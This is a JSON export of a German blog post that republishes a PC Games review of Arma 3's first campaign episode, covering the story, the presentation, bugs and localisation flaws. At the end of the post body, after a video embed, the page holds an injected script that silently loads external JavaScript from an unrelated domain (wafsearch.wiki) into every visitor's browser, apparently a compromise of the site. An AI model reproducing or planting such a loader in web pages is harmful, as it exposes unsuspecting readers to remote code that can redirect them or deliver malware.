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{"id":2908,"date":"2019-03-14T12:22:37","date_gmt":"2019-03-14T11:22:37","guid":{"rendered":"http:\/\/www.bandes.de\/?p=2908"},"modified":"2025-06-17T17:19:29","modified_gmt":"2025-06-17T15:19:29","slug":"arma-3-shooter","status":"publish","type":"post","link":"https:\/\/www.bandes.de\/?p=2908","title":{"rendered":"Arma 3 Shooter"},"content":{"rendered":"<p style=\"text-align: center;\">Arma 3 Test: Die erste Kampagne des Milit\u00e4r-Shooters ausprobiert<\/p>\n<p style=\"text-align: center;\">Arma 3 hatte selbst zum Release nur beschr\u00e4nkten Funktionsumfang. Entwickler Bohemia Interactive lie\u00df sogar ganz freim\u00fctig verlauten, dass die Community teils bessere Inhalte bastelt als die Tschechen selbst. F\u00fcr Modelle oder Koop-Missionen mag das gelten, doch das Fehlen einer Kampagne schmerzte die Spieler schon arg. Nun hat Bohemia Interactive wie versprochen nachgeliefert und pr\u00e4sentiert uns die erste von drei Episoden: \u00dcberleben.<\/p>\n<p style=\"text-align: center;\">Wir scheiben das Jahr 2035: Auf der vom B\u00fcrgerkrieg gebeutelten Insel Altis im Mittelmeerraum h\u00e4ngt der Haussegen erneut schief &#8211; obwohl der bewaffnete Konflikt mit der seperationswilligen Nachbarinsel Stratis kaum f\u00fcnf Jahre her ist. Damals bat die Regierung die NATO um eine Intervention, und seitdem befinden sich Peacekeeping-Truppen auf der Insel. Bei der F\u00fchrung des transatlantischen B\u00fcndnisses ist man nun aber offensichtlich der Meinung, dass eine Fortsetzung der Friedensmission \u00fcberfl\u00fcssig sei, da sich die Lage beruhigt habe. Weit gefehlt: Der Abzug der NATO-Truppen hat den schwelenden Konflikt neu entfacht und die Region verf\u00e4llt abermals in erbitterte K\u00e4mpfe.<\/p>\n<p style=\"text-align: center;\">Als Corporal Ben Kerry geh\u00f6ren wir zu den letzten Truppen der NATO, die von der Insel abgezogen werden sollen. Die vermeintlich entspannte Lage hat sich bereits auf die Friedensw\u00e4chter \u00fcbertragen, man packt die Taschen und ist grunds\u00e4tzlich guter Dinge. Doch dann \u00fcberschlagen sich die Ereignisse: Anschl\u00e4ge und \u00dcberf\u00e4lle der gegnerischen Fraktion versetzen unsere Truppen in Alarmbereitschaft. Unerwartet werden wir angegriffen, und trotz der gerade eingesetzten Feierabendstimmung m\u00fcssen wir uns nun verteidigen. Dummerweise sind die verbliebenen NATO-Kr\u00e4fte \u00fcber die halbe Insel verstreut und das meiste Ger\u00e4t wurde auch bereits abtransportiert. Mit nicht viel mehr als ein paar Handwaffen r\u00fcsten wir also f\u00fcr einen Krieg &#8230;<\/p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http:\/\/www.pcgames.de\/screenshots\/430x\/2013\/11\/2013-11-05_00005-pc-games.jpg\" alt=\"\" \/><\/p>\n<p style=\"text-align: center;\">Arma 3: Per Fernglas \u00fcberpr\u00fcfen wir die Einschl\u00e4ge.<\/p>\n<p style=\"text-align: center;\">Quelle: <a href=\"http:\/\/www.pcgames.de\/Arma-3-Spiel-18157\/Tests\/Arma-3-Test-Die-erste-Kampagne-des-Militaer-Shooters-1095909\/\">PC GAMES<\/a><br \/>\nDie Kampagne von Arma 3 gliedert sich in mehrere Teile, beginnend mit dem Sammeln der verbliebenen NATO-Soldaten. Nach dem ersten Schock treten wir zum Guerilla-Krieg an und \u00fcberfallen feindliche Kommunikationseinrichtungen, schalten hochrangige Offiziere durch Feuer\u00fcberf\u00e4lle aus und m\u00fcssen uns einiger Gegenangriffe erwehren. Zuletzt nehmen wir sogar Kontakt zum lokalen Widerstand auf, um unsere Kr\u00e4fte zu b\u00fcndeln. Abseits eines gewohnt glaubw\u00fcrdigen Szenarios zieht Bohemia dabei alle Register der leistungsf\u00e4higen Engine. Naturgem\u00e4\u00df ist die Kampagne stark gescripted und dar\u00fcber hinaus hervorragend in Szene gesetzt. Die Sprecher sind hochprofessionell und die Geschichte wird \u00fcber viele Cut-Scenes hervorragend und spannend erz\u00e4hlt. Nichtsdestotrotz gibt es zwischen den einzelnen, auf einander aufbauenden Mission auch viel Text zu lesen. F\u00fcr die Erf\u00fcllung der Auftr\u00e4ge ist dies nicht unbedingt relevant, die Zwischen-Briefings steigern jedoch die Immersion des Spielers immens. Die Geschichte nimmt mehrere unerwartete Wendungen und bleibt stets spannend &#8211; und, je nach eingestellter Schwierigkeit, auch recht fordernd. Im Mittel bietet die Kampagne etwa 8 Stunden Spielzeit und scheint f\u00fcr Enthusiasten damit etwas kurz geraten, jedoch werden dem ersten Teil noch zwei weitere folgen.<\/p>\n<p style=\"text-align: center;\">Leider ist aber auch nicht alles eitel Sonnenschein. Das bef\u00fcrchtete Bug-Inferno blieb zwar aus, jedoch hat es Bohemia Interactive trotzdem nicht geschafft, einen restlos fehlerfreien Titel zu ver\u00f6ffentlichen. In einer Mission hatten wir arge Probleme mit einem Bug beim Laden eines Spielstandes &#8211; offensichtlich wurde ein Trigger nicht ausgel\u00f6st, der einen feindlichen Sp\u00e4htrupp h\u00e4tte positionieren sollen. Unsere Aufgabe w\u00e4re es gewesen, diesen Trupp mittels einer Drohne mit W\u00e4rmebild-Kamera aufzusp\u00fcren. So spannend die Aufgabe selber auch war: Zwei Stunden mit der Suche nach nicht vorhandenen Gegnern zu verbringen, treibt Spielern die Zornesr\u00f6te ins wutbefleckte Gesicht. Ein Neustart schaffte dann endlich Abhilfe. Immerhin spielbar, aber immer noch unsch\u00f6n!<\/p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http:\/\/www.pcgames.de\/screenshots\/430x\/2013\/11\/2013-11-05_00017-pc-games.jpg\" alt=\"\" \/><\/p>\n<p>Arma 3: Gelegentlich nutzen wir auch den Schutz der Dunkelheit.<br \/>\nQuelle: PC GAMES<br \/>\nDesweiteren fehlten in den Cut-Scenes die Untertitel, was f\u00fcr Spieler ohne Englisch-Kenntnisse eine schlimme Erfahrung sein muss. Die Lokalisierung ist auch nicht immer das Gelbe vom Ei, wenngleich wir schon viel Schlimmeres erlebt haben &#8211; manche Vokabeln scheinen ohne Zusammenhang einfach mit dem W\u00f6rterbuch \u00fcbersetzt worden zu sein. Besonders schade ist es um die verschenkte Chance einer dynamischen Kampagne: Einige wenige Male d\u00fcrfen wir zwar aus mehreren Missionen w\u00e4hlen, jedoch bauen diese offensichtlich nicht auf einander auf. Und somit ist die Reihenfolge dann wiederum beliebig. Weiterhin nervig: Im Basiscamp haben wir zwar Zugriff auf mehrere Kisten mit Ausr\u00fcstung und Waffen &#8211; wenn wir uns dann jedoch endlich unseren W\u00fcnschen entsprechend mit Schie\u00dfeisen, Waffenmodifikationen und Leuchtspurmunition ausger\u00fcstet haben, startet die Mission mit vorgegebenem Equipment. Das hinterl\u00e4\u00dft im Kopf des Spielers ein gro\u00dfes Fragezeichen. Im Urvater Operation Flashpoint (als ArmA: Cold War Assault bei Steam verf\u00fcgbar) hie\u00df es mal: &#8222;Viel gute Arbeit geht verloren, wenn nicht auch nur ein klein wenig mehr geleistet wird.&#8220; Wie wahr.<\/p>\n<p style=\"text-align: center;\">Unter dem Strich hat Bohemia Interactive jedoch eine solide und spannende Kampagne abgeliefert, wenn auch mit einigen Abz\u00fcgen in der B-Note. Zudem ist der Kampagnen-DLC kostenlos und wird von Steam automatisch heruntergeladen. Die n\u00e4chste Episode will Bohemia Interactive noch im Dezember ver\u00f6ffentlichen, ein exaktes Datum steht noch aus. Wir sind jedenfalls gespannt, wie die Geschichte weitergeht, und ob Corporal Ben Kerry &#8211; doch, halt! Wir wollen nicht spoilern, erlebt es selbst &#8230;<\/p>\n<p style=\"text-align: center;\">Quelle: <a href=\"http:\/\/www.pcgames.de\/Arma-3-Spiel-18157\/Tests\/Arma-3-Test-Die-erste-Kampagne-des-Militaer-Shooters-1095909\/\">PC GAMES<\/a><\/p>\n<p style=\"text-align: center;\">Man kann auch viele Mods benutzen, anbei ein Video der Grenzschutztruppe<\/p>\n<p style=\"text-align: center;\"><iframe loading=\"lazy\" src=\"\/\/www.youtube.com\/embed\/u1UX6SRvk2c?t=3429s\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Arma 3 Test: Die erste Kampagne des Milit\u00e4r-Shooters ausprobiert Arma 3 hatte selbst zum Release nur beschr\u00e4nkten Funktionsumfang. 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